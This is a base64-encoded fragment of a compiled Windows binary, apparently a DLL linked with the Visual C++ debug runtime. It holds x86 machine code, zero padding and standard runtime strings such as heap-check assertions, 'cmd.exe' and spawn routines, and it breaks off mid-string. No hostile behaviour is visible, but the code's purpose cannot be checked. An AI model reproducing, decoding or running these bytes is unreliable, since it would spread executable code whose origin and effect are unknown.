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
w7hoOAIQ6WGT/v+LTfCDwQzoPA/+/8O4kDgCEOlLk/7/i03wg8EM6CYP/v/Di03wg8EY6BoP
/v/DuLg4AhDpKZP+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGo+
AgBGQQIANEECACJBAgASQQIAAkECAPBAAgDgQAIA1EACAMpAAgC+QAIArEACAJpAAgBCPAIA
TjwCAFw8AgBwPAIAhDwCAJ48AgCuPAIAvjwCAM48AgDePAIA7jwCAAA9AgAOPQIAJD0CADI9
AgA+PQIASD0CAFg9AgBmPQIAdj0CAIQ9AgCUPQIAoD0CALg9AgDOPQIA4D0CAPA9AgAIPgIA
Hj4CADo+AgBSPgIAgj4CAJA+AgCkPgIAuj4CAMY+AgDUPgIA4D4CAO4+AgD8PgIACj8CABo/
AgAsPwIAOj8CAEw/AgBmPwIAgD8CAJY/AgCuPwIAyD8CAOY/AgD2PwIABkACABpAAgAwQAIA
PkACAFBAAgBcQAIAckACAIhAAgAAAAAAejsCAMo6AgDcOgIA7joCANQ7AgDGOwIAsjsCAKI7
AgCMOwIAtDoCAGo7AgBOOwIAOjsCACY7AgAUOwIAAjsCAAAAAAAKPAIAGDwCAPo7AgAAAAAA
AAAAAAAAAAAAAAAAAAAAAMD/30AAAAAAAAAAQGkzODZcY2hrZXNwLmMAAAAAAAAAVGhlIHZh
bHVlIG9mIEVTUCB3YXMgbm90IHByb3Blcmx5IHNhdmVkIGFjcm9zcyBhIGZ1bmN0aW9uIGNh
bGwuICBUaGlzIGlzIHVzdWFsbHkgYSByZXN1bHQgb2YgY2FsbGluZyBhIGZ1bmN0aW9uIGRl
Y2xhcmVkIHdpdGggb25lIGNhbGxpbmcgY29udmVudGlvbiB3aXRoIGEgZnVuY3Rpb24gcG9p
bnRlciBkZWNsYXJlZCB3aXRoIGEgZGlmZmVyZW50IGNhbGxpbmcgY29udmVudGlvbi4gAGRi
Z2RlbC5jcHAAAF9CTE9DS19UWVBFX0lTX1ZBTElEKHBIZWFkLT5uQmxvY2tVc2UpAABwcmlu
dGYuYwAAAABmb3JtYXQgIT0gTlVMTAAAZmNsb3NlLmMAAAAAc3RyZWFtICE9IE5VTEwAAHN0
ciAhPSBOVUxMAGZzY2FuZi5jAAAAACptb2RlICE9IF9UKCdcMCcpAAAAbW9kZSAhPSBOVUxM
AAAAACpmaWxlICE9IF9UKCdcMCcpAAAAZm9wZW4uYwBmaWxlICE9IE5VTEwAAAAAc3ByaW50
Zi5jAAAAc3RyaW5nICE9IE5VTEwAAGZnZXRjLmMAZnByaW50Zi5jAAAAY21kLmV4ZQBjb21t
YW5kLmNvbQAvYwAAc3lzdGVtLmMAAAAAKmNvbW1hbmQgIT0gX1QoJ1wwJykAAAAAQ09NU1BF
QwBDbGllbnQAAElnbm9yZQAAQ1JUAE5vcm1hbAAARnJlZQAAAABFcnJvcjogbWVtb3J5IGFs
bG9jYXRpb246IGJhZCBtZW1vcnkgYmxvY2sgdHlwZS4KAAAASW52YWxpZCBhbGxvY2F0aW9u
IHNpemU6ICV1IGJ5dGVzLgoAJXMAAENsaWVudCBob29rIGFsbG9jYXRpb24gZmFpbHVyZS4K
AAAAAENsaWVudCBob29rIGFsbG9jYXRpb24gZmFpbHVyZSBhdCBmaWxlICVocyBsaW5lICVk
LgoAAAAAZGJnaGVhcC5jAAAAX0NydENoZWNrTWVtb3J5KCkAAABfcEZpcnN0QmxvY2sgPT0g
cE9sZEJsb2NrAAAAX3BMYXN0QmxvY2sgPT0gcE9sZEJsb2NrAAAAAGZSZWFsbG9jIHx8ICgh
ZlJlYWxsb2MgJiYgcE5ld0Jsb2NrID09IHBPbGRCbG9jaykAAABfQkxPQ0tfVFlQRShwT2xk
QmxvY2stPm5CbG9ja1VzZSk9PV9CTE9DS19UWVBFKG5CbG9ja1VzZSkAAABwT2xkQmxvY2st
Pm5MaW5lID09IElHTk9SRV9MSU5FICYmIHBPbGRCbG9jay0+bFJlcXVlc3QgPT0gSUdOT1JF
X1JFUQAAAABfQ3J0SXNWYWxpZEhlYXBQb2ludGVyKHBVc2VyRGF0YSkAAABBbGxvY2F0aW9u
IHRvbyBsYXJnZSBvciBuZWdhdGl2ZTogJXUgYnl0ZXMuCgAAAABDbGllbnQgaG9vayByZS1h
bGxvY2F0aW9uIGZhaWx1cmUuCgBDbGllbnQgaG9vayByZS1hbGxvY2F0aW9uIGZhaWx1cmUg
YXQgZmlsZSAlaHMgbGluZSAlZC4KAF9wRmlyc3RCbG9jayA9PSBwSGVhZAAAAF9wTGFzdEJs
b2NrID09IHBIZWFkAAAAAHBIZWFkLT5uQmxvY2tVc2UgPT0gbkJsb2NrVXNlAAAAcEhlYWQt
Pm5MaW5lID09IElHTk9SRV9MSU5FICYmIHBIZWFkLT5sUmVxdWVzdCA9PSBJR05PUkVfUkVR
AAAAAERBTUFHRTogYWZ0ZXIgJWhzIGJsb2NrICgjJWQpIGF0IDB4JTA4WC4KAAAAREFNQUdF
OiBiZWZvcmUgJWhzIGJsb2NrICgjJWQpIGF0IDB4JTA4WC4KAABDbGllbnQgaG9vayBmcmVl
IGZhaWx1cmUuCgAAbWVtb3J5IGNoZWNrIGVycm9yIGF0IDB4JTA4WCA9IDB4JTAyWCwgc2hv
dWxkIGJlIDB4JTAyWC4KAAAAJWhzIGxvY2F0ZWQgYXQgMHglMDhYIGlzICV1IGJ5dGVzIGxv
bmcuCgAAAAAlaHMgYWxsb2NhdGVkIGF0IGZpbGUgJWhzKCVkKS4KAERBTUFHRTogb24gdG9w
IG9mIEZyZWUgYmxvY2sgYXQgMHglMDhYLgoAAAAAREFNQUdFRABfaGVhcGNoayBmYWlscyB3
aXRoIHVua25vd24gcmV0dXJuIHZhbHVlIQoAAF9oZWFwY2hrIGZhaWxzIHdpdGggX0hFQVBC
QURQVFIuCgAAAF9oZWFwY2hrIGZhaWxzIHdpdGggX0hFQVBCQURFTkQuCgAAAF9oZWFwY2hr
IGZhaWxzIHdpdGggX0hFQVBCQUROT0RFLgoAAF9oZWFwY2hrIGZhaWxzIHdpdGggX0hFQVBC
QURCRUdJTi4KAEJhZCBtZW1vcnkgYmxvY2sgZm91bmQgYXQgMHglMDhYLgoAAF9DcnRNZW1D
aGVja1BvaW50OiBOVUxMIHN0YXRlIHBvaW50ZXIuCgBPYmplY3QgZHVtcCBjb21wbGV0ZS4K
AABjcnQgYmxvY2sgYXQgMHglMDhYLCBzdWJ0eXBlICV4LCAldSBieXRlcyBsb25nLgoAAAAA
bm9ybWFsIGJsb2NrIGF0IDB4JTA4WCwgJXUgYnl0ZXMgbG9uZy4KAGNsaWVudCBibG9jayBh
dCAweCUwOFgsIHN1YnR5cGUgJXgsICV1IGJ5dGVzIGxvbmcuCgB7JWxkfSAAACVocyglZCkg
OiAAACNGaWxlIEVycm9yIyglZCkgOiAARHVtcGluZyBvYmplY3RzIC0+CgAgRGF0YTogPCVz
PiAlcwoAJS4yWCAAAABEZXRlY3RlZCBtZW1vcnkgbGVha3MhCgBzc2NhbmYuYwAAAAAAAAAA
/////xngABAm4AAQAAAAAP////8AAAAATeIAEAAAAAAO4gAQG+IAEP////9s5QAQcuUAEAAA
AAD/////7uUAEP3lABB0aWR0YWJsZS5jAAD/////AAAAAL7pABAAAAAAoOkAEKbpABD/////
AAAAAErqABAAAAAALOoAEDLqABBBc3NlcnRpb24gRmFpbGVkAAAAAEVycm9yAAAAV2Fybmlu
ZwAlcyglZCkgOiAlcwAKAAAADQAAAEFzc2VydGlvbiBmYWlsZWQhAAAAQXNzZXJ0aW9uIGZh
aWxlZDogAABfQ3J0RGJnUmVwb3J0OiBTdHJpbmcgdG9vIGxvbmcgb3IgSU8gRXJyb3IAAFNl
Y29uZCBDaGFuY2UgQXNzZXJ0aW9uIEZhaWxlZDogRmlsZSAlcywgTGluZSAlZAoAAAB3c3By
aW50ZkEAAAB1c2VyMzIuZGxsAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBEZWJ1ZyBMaWJyYXJ5
AABEZWJ1ZyAlcyEKClByb2dyYW06ICVzJXMlcyVzJXMlcyVzJXMlcyVzJXMKCihQcmVzcyBS
ZXRyeSB0byBkZWJ1ZyB0aGUgYXBwbGljYXRpb24pAAAKTW9kdWxlOiAAAAAKRmlsZTogAApM
aW5lOiAACgoAAEV4cHJlc3Npb246IAAAAAAKCkZvciBpbmZvcm1hdGlvbiBvbiBob3cgeW91
ciBwcm9ncmFtIGNhbiBjYXVzZSBhbiBhc3NlcnRpb24KZmFpbHVyZSwgc2VlIHRoZSBWaXN1
YWwgQysrIGRvY3VtZW50YXRpb24gb24gYXNzZXJ0cy4AAC4uLgA8cHJvZ3JhbSBuYW1lIHVu
a25vd24+AABkYmdycHQuYwAAAABzelVzZXJNZXNzYWdlICE9IE5VTEwAAABtbG9jay5jAF9m
aWxlLmMAX3NmdGJ1Zi5jAAAAZmxhZyA9PSAwIHx8IGZsYWcgPT0gMQAABgAABgABAAAQAAMG
AAYCEARFRUUFBQUFBTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABw
cHh4eHgIBwgAAAcACAgIAAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABvdXRw
dXQuYwAAAABjaCAhPSBfVCgnXDAnKQAAX2ZyZWVidWYuYwAAaW5wdXQuYwBfb3Blbi5jAGZp
bGVuYW1lICE9IE5VTEwAAAAAc3RyZWFtLmMAAAAAKCJpbmNvbnNpc3RlbnQgSU9CIGZpZWxk
cyIsIHN0cmVhbS0+X3B0ciAtIHN0cmVhbS0+X2Jhc2UgPj0gMCkAAF9mbHNidWYuYwAAAAAA
AAAAAAAAAAAAAAAA8D9/AjXCaCGi2g/JPkD////////vfwAAAAAAABAAAAAAAAAAmMAAAAAA
AACYQAAAAAAAAPB/AAAAAAAAAAAAAAAAAAAAAAAA8D9Jc1Byb2Nlc3NvckZlYXR1cmVQcmVz
ZW50AAAAS0VSTkVMMzIAAAAAZSswMDAAAABfZmlsYnVmLmMAAABcAAAAUEFUSAAAAAAqKmFy
Z3YgIT0gX1QoJ1wwJykAACphcmd2ICE9IE5VTEwAAABhcmd2ICE9IE5VTEwAAAAAKmZpbGVu
YW1lICE9IF9UKCdcMCcpAAAAc3Bhd252cGUuYwAALmNvbQAAAAAuZXhlAAAAAC5iYXQAAAAA
LmNtZAAAAAAuXAAAc3Bhd252ZS5jAAAA////////738AAAAAAAAQAAAAAAAAAJjAAAAAAAAA
mEAAAAAAAADwfwAAAAAAAAAAaW9pbml0LmMAAAAAc3RkZW52cC5jAAAAc3RkYXJndi5jAAAA
YV9lbnYuYwBydW50aW1lIGVycm9yIAAADQoAAFRMT1NTIGVycm9yDQoAAABTSU5HIGVycm9y
DQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVuYWJsZSB0byBpbml0aWFsaXplIGhl
YXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBpbml0aWFsaXph
dGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGluaXRpYWxp
emF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAAAFI2
MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAA
UjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1
bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhy
ZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJl
YWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQot
IG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3Vn
aCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3Qg
bG9hZGVkDQoAAAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAFJ1
bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAB2c3ByaW50Zi5jAABHZXRMYXN0QWN0aXZlUG9w
dXAAAEdldEFjdGl2ZVdpbmRvdwBNZXNzYWdlQm94QQBvc2ZpbmZvLmMAAABtYnRvd2MuYwAA
AABNQl9DVVJfTUFYID09IDEgfHwgTUJfQ1VSX01BWCA9PSAyAAB1bmdldGMuYwAAAABfZ2V0
YnVmLmMAAABkb3NwYXduLmMAAABjZW52YXJnLmMAAAB3dG9tYmVudi5jAABTdW5Nb25UdWVX
